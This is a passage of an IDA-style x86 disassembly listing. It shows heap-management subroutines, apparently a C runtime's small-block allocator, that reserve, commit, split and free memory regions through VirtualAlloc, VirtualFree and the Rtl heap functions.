RtlAllocateHeap cmp eax, edi mov [esi+10h], eax jz short loc_41EE07 push 4 push 2000h push 100000h push edi call dword_427064 ; VirtualAlloc cmp eax, edi mov [esi+0Ch], eax jnz short loc_41EE0B push dword ptr [esi+10h] push edi push dword_4DD384 call dword_42714C ; RtlFreeHeap loc_41EE07: ; CODE XREF: sub_41ED74+30j ; sub_41ED74+67j xor eax, eax jmp short loc_41EE22 ; --------------------------------------------------------------------------- loc_41EE0B: ; CODE XREF: sub_41ED74+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_4DD378 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_41EE22: ; CODE XREF: sub_41ED74+95j pop edi pop esi retn sub_41ED74 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EE25 proc near ; CODE XREF: sub_41EA6B+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_41EE37: ; CODE XREF: sub_41EE25+19j test eax, eax jl short loc_41EE40 shl eax, 1 inc ebx jmp short loc_41EE37 ; --------------------------------------------------------------------------- loc_41EE40: ; CODE XREF: sub_41EE25+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_41EE55: ; CODE XREF: sub_41EE25+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_41EE55 mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi call dword_427064 ; VirtualAlloc test eax, eax jnz short loc_41EE88 or eax, 0FFFFFFFFh jmp loc_41EF1B ; --------------------------------------------------------------------------- loc_41EE88: ; CODE XREF: sub_41EE25+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_41EECE lea eax, [edi+10h] loc_41EE95: ; CODE XREF: sub_41EE25+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_41EE95 loc_41EECE: ; CODE XREF: sub_41EE25+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_41EF0B or [eax+4], edi loc_41EF0B: ; CODE XREF: sub_41EE25+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_41EF1B: ; CODE XREF: sub_41EE25+5Ej pop edi pop esi pop ebx leave retn sub_41EE25 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EF20 proc near ; CODE XREF: sub_41BBE2+6Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_4] mov edx, edi lea esi, [eax+17h] sub edx, [ecx+0Ch] mov eax, [ecx+10h] and esi, 0FFFFFFF0h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] dec ecx cmp esi, ecx mov [ebp+arg_8], ecx mov ebx, [ecx+edi-4] lea edi, [ecx+edi-4] mov [ebp+var_4], ebx jle loc_41F0CE test bl, 1 jnz loc_41F0C7 add ebx, ecx cmp esi, ebx jg loc_41F0C7 mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_41EF97 push 3Fh pop ecx mov [ebp+var_8], ecx loc_41EF97: ; CODE XREF: sub_41EF20+6Fj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_41EFE7 cmp ecx, 20h jnb short loc_41EFC3 mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_41EFE7 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41EFE7 ; --------------------------------------------------------------------------- loc_41EFC3: ; CODE XREF: sub_41EF20+82j add ecx, 0FFFFFFE0h mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41EFE7 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41EFE7: ; CODE XREF: sub_41EF20+7Dj ; sub_41EF20+9Aj ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_41F0B5 mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi lea ecx, [ecx+esi-4] cmp edi, 3Fh jbe short loc_41F021 push 3Fh pop edi loc_41F021: ; CODE XREF: sub_41EF20+FCj mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_41F0A3 mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_8+3], cl inc cl mov [edi+eax+4], cl jnb short loc_41F07A cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41F06D mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41F06D: ; CODE XREF: sub_41EF20+13Dj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, edi jmp short loc_41F09F ; --------------------------------------------------------------------------- loc_41F07A: ; CODE XREF: sub_41EF20+137j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41F090 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41F090: ; CODE XREF: sub_41EF20+15Ej lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] mov edx, 80000000h loc_41F09F: ; CODE XREF: sub_41EF20+158j shr edx, cl or [eax], edx loc_41F0A3: ; CODE XREF: sub_41EF20+125j mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_41F0B8 ; --------------------------------------------------------------------------- loc_41F0B5: ; CODE XREF: sub_41EF20+E5j mov edx, [ebp+arg_4] loc_41F0B8: ; CODE XREF: sub_41EF20+193j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_41F20E ; --------------------------------------------------------------------------- loc_41F0C7: ; CODE XREF: sub_41EF20+52j ; sub_41EF20+5Cj xor eax, eax jmp loc_41F211 ; --------------------------------------------------------------------------- loc_41F0CE: ; CODE XREF: sub_41EF20+49j jge loc_41F20E mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] mov [ebp+arg_4], ebx sar esi, 4 dec esi mov [ebx-4], ecx cmp esi, 3Fh jbe short loc_41F0F9 push 3Fh pop esi loc_41F0F9: ; CODE XREF: sub_41EF20+1D4j test byte ptr [ebp+var_4], 1 jnz loc_41F188 mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41F112 push 3Fh pop esi loc_41F112: ; CODE XREF: sub_41EF20+1EDj mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_41F161 cmp esi, 20h jnb short loc_41F13D mov ebx, 80000000h mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_41F15E mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41F15E ; --------------------------------------------------------------------------- loc_41F13D: ; CODE XREF: sub_41EF20+1FDj lea ecx, [esi-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41F15E mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41F15E: ; CODE XREF: sub_41EF20+214j ; sub_41EF20+21Bj ... mov ebx, [ebp+arg_4] loc_41F161: ; CODE XREF: sub_41EF20+1F8j mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov ecx, [edi+4] mov esi, [edi+8] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41F188 push 3Fh pop esi loc_41F188: ; CODE XREF: sub_41EF20+1DDj ; sub_41EF20+263j mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [ebx+4], edi mov [ebx+8], ecx mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41F205 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [esi+eax+4], cl jnb short loc_41F1DC cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41F1CF mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_41F1CF: ; CODE XREF: sub_41EF20+29Fj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, esi jmp short loc_41F201 ; --------------------------------------------------------------------------- loc_41F1DC: ; CODE XREF: sub_41EF20+299j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41F1F2 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_41F1F2: ; CODE XREF: sub_41EF20+2C0j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] mov edx, 80000000h loc_41F201: ; CODE XREF: sub_41EF20+2BAj shr edx, cl or [eax], edx loc_41F205: ; CODE XREF: sub_41EF20+287j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_41F20E: ; CODE XREF: sub_41EF20+1A2j ; sub_41EF20:loc_41F0CEj push 1 pop eax loc_41F211: ; CODE XREF: sub_41EF20+1A9j pop edi pop esi pop ebx leave retn sub_41EF20 endp ; =============== S U B R O U T I N E ======================================= sub_41F216 proc near ; CODE XREF: sub_41E672+41p ; sub_41F50E:loc_41F6DDp cmp dword_43AE60, 0FFFFFFFFh push ebx push ebp push esi push edi jnz short loc_41F22A mov esi, offset off_43AE50 jmp short loc_41F247 ; --------------------------------------------------------------------------- loc_41F22A: ; CODE XREF: sub_41F216+Bj push 2020h push 0 push dword_4DD384 call dword_427150 ; RtlAllocateHeap mov esi, eax test esi, esi jz loc_41F353 loc_41F247: ; CODE XREF: sub_41F216+12j mov ebp, dword_427064 push 4 push 2000h push 400000h push 0 call ebp ; VirtualAlloc mov edi, eax test edi, edi jz loc_41F33C push 4 mov ebx, 10000h push 1000h push ebx push edi call ebp ; VirtualAlloc test eax, eax jz loc_41F32E mov eax, offset off_43AE50 cmp esi, eax jnz short loc_41F2A6 cmp off_43AE50, 0 jnz short loc_41F296 mov off_43AE50, eax loc_41F296: ; CODE XREF: sub_41F216+79j cmp off_43AE54, 0 jnz short loc_41F2BB mov off_43AE54, eax jmp short loc_41F2BB ; --------------------------------------------------------------------------- loc_41F2A6: ; CODE XREF: sub_41F216+70j mov [esi], eax mov eax, off_43AE54 mov [esi+4], eax mov off_43AE54, esi mov eax, [esi+4] mov [eax], esi loc_41F2BB: ; CODE XREF: sub_41F216+87j ; sub_41F216+8Ej lea eax, [edi+400000h] lea ecx, [esi+98h] mov [esi+14h], eax lea eax, [esi+18h] mov [esi+0Ch], ecx mov [esi+10h], edi mov [esi+8], eax xor ebp, ebp mov ecx, 0F1h loc_41F2DD: ; CODE XREF: sub_41F216+E2j xor edx, edx cmp ebp, 10h setnl dl dec edx and edx, ecx dec edx inc ebp mov [eax], edx mov [eax+4], ecx add eax, 8 cmp ebp, 400h jl short loc_41F2DD push ebx push 0 push edi call sub_41BF70 add esp, 0Ch loc_41F306: ; CODE XREF: sub_41F216+112j mov eax, [esi+10h] add eax, ebx cmp edi, eax jnb short loc_41F32A or byte ptr [edi+0F8h], 0FFh lea eax, [edi+8] mov [edi], eax mov dword ptr [edi+4], 0F0h add edi, 1000h jmp short loc_41F306 ; --------------------------------------------------------------------------- loc_41F32A: ; CODE XREF: sub_41F216+F7j mov eax, esi jmp short loc_41F355 ; --------------------------------------------------------------------------- loc_41F32E: ; CODE XREF: sub_41F216+63j push 8000h push 0 push edi call dword_427068 ; VirtualFree loc_41F33C: ; CODE XREF: sub_41F216+4Bj cmp esi, offset off_43AE50 jz short loc_41F353 push esi push 0 push dword_4DD384 call dword_42714C ; RtlFreeHeap loc_41F353: ; CODE XREF: sub_41F216+2Bj ; sub_41F216+12Cj xor eax, eax loc_41F355: ; CODE XREF: sub_41F216+116j pop edi pop esi pop ebp pop ebx retn sub_41F216 endp ; =============== S U B R O U T I N E ======================================= sub_41F35A proc near ; CODE XREF: sub_41F3B0+A5p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 8000h push 0 push dword ptr [esi+10h] call dword_427068 ; VirtualFree cmp off_43CE70, esi jnz short loc_41F37F mov eax, [esi+4] mov off_43CE70, eax loc_41F37F: ; CODE XREF: sub_41F35A+1Bj cmp esi, offset off_43AE50 jz short loc_41F3A7 mov eax, [esi+4] mov ecx, [esi] push esi push 0 mov [eax], ecx mov eax, [esi] mov ecx, [esi+4] mov [eax+4], ecx push dword_4DD384 call dword_42714C ; RtlFreeHeap pop esi retn ; --------------------------------------------------------------------------- loc_41F3A7: ; CODE XREF: sub_41F35A+2Bj or dword_43AE60, 0FFFFFFFFh pop esi retn sub_41F35A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F3B0 proc near ; CODE XREF: sub_41F4C9+3Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi mov esi, off_43AE54 push edi loc_41F3BD: ; CODE XREF: sub_41F3B0+B7j cmp dword ptr [esi+10h], 0FFFFFFFFh jz loc_41F45B and [ebp+var_4], 0 lea edi, [esi+2010h] mov ebx, 3FF000h loc_41F3D6: ; CODE XREF: sub_41F3B0+72j cmp dword ptr [edi], 0F0h jnz short loc_41F417 mov eax, ebx push 4000h add eax, [esi+10h] push 1000h push eax call dword_427068 ; VirtualFree test eax, eax jz short loc_41F417 or dword ptr [edi], 0FFFFFFFFh dec dword_4DBE40 mov eax, [esi+0Ch] test eax, eax jz short loc_41F40C cmp eax, edi jbe short loc_41F40F loc_41F40C: ; CODE XREF: sub_41F3B0+56j mov [esi+0Ch], edi loc_41F40F: ; CODE XREF: sub_41F3B0+5Aj inc [ebp+var_4] dec [ebp+arg_0] jz short loc_41F424 loc_41F417: ; CODE XREF: sub_41F3B0+2Cj ; sub_41F3B0+46j sub ebx, 1000h sub edi, 8 test ebx, ebx jge short loc_41F3D6 loc_41F424: ; CODE XREF: sub_41F3B0+65j cmp [ebp+var_4], 0 mov ecx, esi mov esi, [esi+4] jz short loc_41F45B cmp dword ptr [ecx+18h], 0FFFFFFFFh jnz short loc_41F45B push 1 lea eax, [ecx+20h] pop edx loc_41F43B: ; CODE XREF: sub_41F3B0+9Aj cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41F44C inc edx add eax, 8 cmp edx, 400h jl short loc_41F43B loc_41F44C: ; CODE XREF: sub_41F3B0+8Ej cmp edx, 400h jnz short loc_41F45B push ecx call sub_41F35A pop ecx loc_41F45B: ; CODE XREF: sub_41F3B0+11j ; sub_41F3B0+7Dj ... cmp esi, off_43AE54 jz short loc_41F46D cmp [ebp+arg_0], 0 jg loc_41F3BD loc_41F46D: ; CODE XREF: sub_41F3B0+B1j pop edi pop esi pop ebx leave retn sub_41F3B0 endp ; =============== S U B R O U T I N E ======================================= sub_41F472 proc near ; CODE XREF: sub_41BA91+3Ap ; sub_41BBE2+173p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov edx, offset off_43AE50 push esi mov ecx, edx loc_41F47E: ; CODE XREF: sub_41F472+1Cj cmp eax, [ecx+10h] jbe short loc_41F488 cmp eax, [ecx+14h] jb short loc_41F490 loc_41F488: ; CODE XREF: sub_41F472+Fj mov ecx, [ecx] cmp ecx, edx jz short loc_41F4C5 jmp short loc_41F47E ; --------------------------------------------------------------------------- loc_41F490: ; CODE XREF: sub_41F472+14j test al, 0Fh jnz short loc_41F4C5 mov esi, eax mov edx, 100h and esi, 0FFFh cmp esi, edx jb short loc_41F4C5 mov esi, [esp+4+arg_4] mov [esi], ecx mov esi, [esp+4+arg_8] mov ecx, eax and cx, 0F000h sub eax, ecx mov [esi], ecx sub eax, edx pop esi sar eax, 4 lea eax, [eax+ecx+8] retn ; --------------------------------------------------------------------------- loc_41F4C5: ; CODE XREF: sub_41F472+1Aj ; sub_41F472+20j ... xor eax, eax pop esi retn sub_41F472 endp ; =============== S U B R O U T I N E ======================================= sub_41F4C9 proc near ; CODE XREF: sub_41BA91+4Dp ; sub_41BBE2+1D5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] sub ecx, [eax+10h] sar ecx, 0Ch lea eax, [eax+ecx*8+18h] mov ecx, [esp+arg_8] movzx edx, byte ptr [ecx] add [eax], edx and byte ptr [ecx], 0 cmp dword ptr [eax], 0F0h mov dword ptr [eax+4], 0F1h jnz short locret_41F50D inc dword_4DBE40 cmp dword_4DBE40, 20h jnz short locret_41F50D push 10h call sub_41F3B0 pop ecx locret_41F50D: ; CODE XREF: sub_41F4C9+2Bj ; sub_41F4C9+3Aj retn sub_41F4C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F50E proc near ; CODE XREF: sub_41BBE2+1ACp ; sub_41BEF3+4Ap ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, off_43CE70 push edi loc_41F51C: ; CODE XREF: sub_41F50E+C6j mov edx, [esi+10h] cmp edx, 0FFFFFFFFh jz loc_41F5C7 mov edi, [esi+8] lea ecx, [esi+2018h] mov eax, edi sub eax, esi sub eax, 18h sar eax, 3 shl eax, 0Ch add eax, edx cmp edi, ecx mov [ebp+var_4], eax jnb short loc_41F581 loc_41F547: ; CODE XREF: sub_41F50E+6Fj mov ecx, [edi] mov ebx, [ebp+arg_0] cmp ecx, ebx jl short loc_41F56A cmp [edi+4], ebx jbe short loc_41F56A push ebx push ecx push eax call sub_41F716 add esp, 0Ch test eax, eax jnz short loc_41F5D9 mov eax, [ebp+var_4] mov [edi+4], ebx loc_41F56A: ; CODE XREF: sub_41F50E+40j ; sub_41F50E+45j add edi, 8 lea ecx, [esi+2018h] add eax, 1000h cmp edi, ecx mov [ebp+var_4], eax jb short loc_41F547 jmp short loc_41F584 ; --------------------------------------------------------------------------- loc_41F581: ; CODE XREF: sub_41F50E+37j mov ebx, [ebp+arg_0] loc_41F584: ; CODE XREF: sub_41F50E+71j mov eax, [esi+8] mov ecx, [esi+10h] lea edi, [esi+18h] mov [ebp+var_8], eax cmp edi, eax mov [ebp+var_4], ecx jnb short loc_41F5CA loc_41F597: ; CODE XREF: sub_41F50E+B5j mov eax, [edi] cmp eax, ebx jl short loc_41F5B6 cmp [edi+4], ebx jbe short loc_41F5B6 push ebx push eax push [ebp+var_4] call sub_41F716 add esp, 0Ch test eax, eax jnz short loc_41F5D9 mov [edi+4], ebx loc_41F5B6: ; CODE XREF: sub_41F50E+8Dj ; sub_41F50E+92j add [ebp+var_4], 1000h add edi, 8 cmp edi, [ebp+var_8] jb short loc_41F597 jmp short loc_41F5CA ; --------------------------------------------------------------------------- loc_41F5C7: ; CODE XREF: sub_41F50E+14j mov ebx, [ebp+arg_0] loc_41F5CA: ; CODE XREF: sub_41F50E+87j ; sub_41F50E+B7j mov esi, [esi] cmp esi, off_43CE70 jz short loc_41F5E9 jmp loc_41F51C ; --------------------------------------------------------------------------- loc_41F5D9: ; CODE XREF: sub_41F50E+54j ; sub_41F50E+A3j mov off_43CE70, esi sub [edi], ebx mov [esi+8], edi jmp loc_41F711 ; --------------------------------------------------------------------------- loc_41F5E9: ; CODE XREF: sub_41F50E+C4j mov eax, offset off_43AE50 mov edi, eax loc_41F5F0: ; CODE XREF: sub_41F50E+F8j cmp dword ptr [edi+10h], 0FFFFFFFFh jz short loc_41F5FC cmp dword ptr [edi+0Ch], 0 jnz short loc_41F608 loc_41F5FC: ; CODE XREF: sub_41F50E+E6j mov edi, [edi] cmp edi, eax jz loc_41F6DD jmp short loc_41F5F0 ; --------------------------------------------------------------------------- loc_41F608: ; CODE XREF: sub_41F50E+ECj mov ebx, [edi+0Ch] and [ebp+var_4], 0 mov esi, ebx mov eax, ebx sub esi, edi sub esi, 18h sar esi, 3 shl esi, 0Ch add esi, [edi+10h] cmp dword ptr [ebx], 0FFFFFFFFh jnz short loc_41F637 loc_41F626: ; CODE XREF: sub_41F50E+127j cmp [ebp+var_4], 10h jge short loc_41F637 add eax, 8 inc [ebp+var_4] cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41F626 loc_41F637: ; CODE XREF: sub_41F50E+116j ; sub_41F50E+11Cj mov eax, [ebp+var_4] push 4 shl eax, 0Ch push 1000h push eax push esi mov [ebp+var_8], eax call dword_427064 ; VirtualAlloc cmp eax, esi jnz loc_41F70F push 0 push [ebp+var_8] push esi call sub_41BF70 mov edx, [ebp+var_4] add esp, 0Ch test edx, edx mov ecx, ebx jle short loc_41F69E lea eax, [esi+4] mov [ebp+var_4], edx loc_41F674: ; CODE XREF: sub_41F50E+18Ej or byte ptr [eax+0F4h], 0FFh lea edx, [eax+4] mov [eax-4], edx mov edx, 0F0h mov [eax], edx mov [ecx], edx mov dword ptr [ecx+4], 0F1h add eax, 1000h add ecx, 8 dec [ebp+var_4] jnz short loc_41F674 loc_41F69E: ; CODE XREF: sub_41F50E+15Ej mov off_43CE70, edi lea eax, [edi+2018h] loc_41F6AA: ; CODE XREF: sub_41F50E+1A8j cmp ecx, eax jnb short loc_41F6BA cmp dword ptr [ecx], 0FFFFFFFFh jz short loc_41F6B8 add ecx, 8 jmp short loc_41F6AA ; --------------------------------------------------------------------------- loc_41F6B8: ; CODE XREF: sub_41F50E+1A3j cmp ecx, eax loc_41F6BA: ; CODE XREF: sub_41F50E+19Ej sbb eax, eax and eax, ecx mov [edi+0Ch], eax mov eax, [ebp+arg_0] mov [esi+8], al mov [edi+8], ebx sub [ebx], eax sub [esi+4], eax lea ecx, [esi+eax+8] lea eax, [esi+100h] mov [esi], ecx jmp short loc_41F711 ; --------------------------------------------------------------------------- loc_41F6DD: ; CODE XREF: sub_41F50E+F2j call sub_41F216 test eax, eax jz short loc_41F70F mov ecx, [eax+10h] mov [ecx+8], bl lea edx, [ecx+ebx+8] mov off_43CE70, eax mov [ecx], edx mov edx, 0F0h sub edx, ebx mov [ecx+4], edx movzx edx, bl sub [eax+18h], edx lea eax, [ecx+100h] jmp short loc_41F711 ; --------------------------------------------------------------------------- loc_41F70F: ; CODE XREF: sub_41F50E+143j ; sub_41F50E+1D6j xor eax, eax loc_41F711: ; CODE XREF: sub_41F50E+D6j ; sub_41F50E+1CDj ... pop edi pop esi pop ebx leave retn sub_41F50E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F716 proc near ; CODE XREF: sub_41F50E+4Ap ; sub_41F50E+99p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_8] push ebx push esi mov esi, [ecx+4] push edi mov edi, [ecx] lea ebx, [ecx+0F8h] cmp esi, edx mov [ebp+var_4], edi mov eax, edi mov [ebp+arg_0], ebx jb short loc_41F75B lea eax, [edi+edx] mov [edi], dl cmp eax, ebx jnb short loc_41F74A add [ecx], edx sub [ecx+4], edx jmp short loc_41F753 ; --------------------------------------------------------------------------- loc_41F74A: ; CODE XREF: sub_41F716+2Bj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41F753: ; CODE XREF: sub_41F716+32j lea eax, [edi+8] jmp loc_41F829 ; --------------------------------------------------------------------------- loc_41F75B: ; CODE XREF: sub_41F716+22j add esi, edi cmp byte ptr [esi], 0 jz short loc_41F764 mov eax, esi loc_41F764: ; CODE XREF: sub_41F716+4Aj lea esi, [eax+edx] cmp esi, ebx jnb short loc_41F7AE loc_41F76B: ; CODE XREF: sub_41F716+96j mov bl, [eax] test bl, bl jnz short loc_41F7A1 push 1 lea ebx, [eax+1] pop esi loc_41F777: ; CODE XREF: sub_41F716+68j cmp byte ptr [ebx], 0 jnz short loc_41F780 inc ebx inc esi jmp short loc_41F777 ; --------------------------------------------------------------------------- loc_41F780: ; CODE XREF: sub_41F716+64j cmp esi, edx jnb short loc_41F7D2 cmp eax, [ebp+var_4] jnz short loc_41F78E mov [ecx+4], esi jmp short loc_41F79A ; --------------------------------------------------------------------------- loc_41F78E: ; CODE XREF: sub_41F716+71j sub [ebp+arg_4], esi cmp [ebp+arg_4], edx jb loc_41F833 loc_41F79A: ; CODE XREF: sub_41F716+76j mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41F7A6 ; --------------------------------------------------------------------------- loc_41F7A1: ; CODE XREF: sub_41F716+59j movzx esi, bl add eax, esi loc_41F7A6: ; CODE XREF: sub_41F716+89j lea esi, [eax+edx] cmp esi, [ebp+arg_0] jb short loc_41F76B loc_41F7AE: ; CODE XREF: sub_41F716+53j lea esi, [ecx+8] loc_41F7B1: ; CODE XREF: sub_41F716+EBj ; sub_41F716+F2j cmp esi, edi jnb short loc_41F833 lea eax, [esi+edx] cmp eax, [ebp+arg_0] jnb short loc_41F833 mov al, [esi] test al, al jnz short loc_41F803 push 1 lea ebx, [esi+1] pop eax loc_41F7C9: ; CODE XREF: sub_41F716+BAj cmp byte ptr [ebx], 0 jnz short loc_41F7F3 inc ebx inc eax jmp short loc_41F7C9 ; --------------------------------------------------------------------------- loc_41F7D2: ; CODE XREF: sub_41F716+6Cj lea ebx, [eax+edx] cmp ebx, [ebp+arg_0] jnb short loc_41F7E3 sub esi, edx mov [ecx], ebx mov [ecx+4], esi jmp short loc_41F7EC ; --------------------------------------------------------------------------- loc_41F7E3: ; CODE XREF: sub_41F716+C2j and dword ptr [ecx+4], 0 lea esi, [ecx+8] mov [ecx], esi loc_41F7EC: ; CODE XREF: sub_41F716+CBj mov [eax], dl add eax, 8 jmp short loc_41F829 ; --------------------------------------------------------------------------- loc_41F7F3: ; CODE XREF: sub_41F716+B6j cmp eax, edx jnb short loc_41F80A sub [ebp+arg_4], eax cmp [ebp+arg_4], edx jb short loc_41F833 mov esi, ebx jmp short loc_41F7B1 ; --------------------------------------------------------------------------- loc_41F803: ; CODE XREF: sub_41F716+ABj movzx eax, al add esi, eax jmp short loc_41F7B1 ; --------------------------------------------------------------------------- loc_41F80A: ; CODE XREF: sub_41F716+DFj lea ebx, [esi+edx] cmp ebx, [ebp+arg_0] jnb short loc_41F81B sub eax, edx mov [ecx], ebx mov [ecx+4], eax jmp short loc_41F824 ; --------------------------------------------------------------------------- loc_41F81B: ; CODE XREF: sub_41F716+FAj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41F824: ; CODE XREF: sub_41F716+103j mov [esi], dl lea eax, [esi+8] loc_41F829: ; CODE XREF: sub_41F716+40j ; sub_41F716+DBj imul ecx, 0Fh shl eax, 4 sub eax, ecx jmp short loc_41F835 ; --------------------------------------------------------------------------- loc_41F833: ; CODE XREF: sub_41F716+7Ej ; sub_41F716+9Dj ... xor eax, eax loc_41F835: ; CODE XREF: sub_41F716+11Bj pop edi pop esi pop ebx leave retn sub_41F716 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F83A proc near ; CODE XREF: sub_41BBE2+19Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi movzx ecx, byte ptr [edx] push edi mov edi, [ebp+arg_0] and [ebp+var_4], 0 mov eax, ebx sub eax, [edi+10h] sar eax, 0Ch cmp ecx, [ebp+arg_C] lea edi, [edi+eax*8+18h] jbe short loc_41F874 mov eax, [ebp+arg_C] sub ecx, eax mov [edx], al add [edi], ecx mov dword ptr [edi+4], 0F1h jmp short loc_41F8D4 ; --------------------------------------------------------------------------- 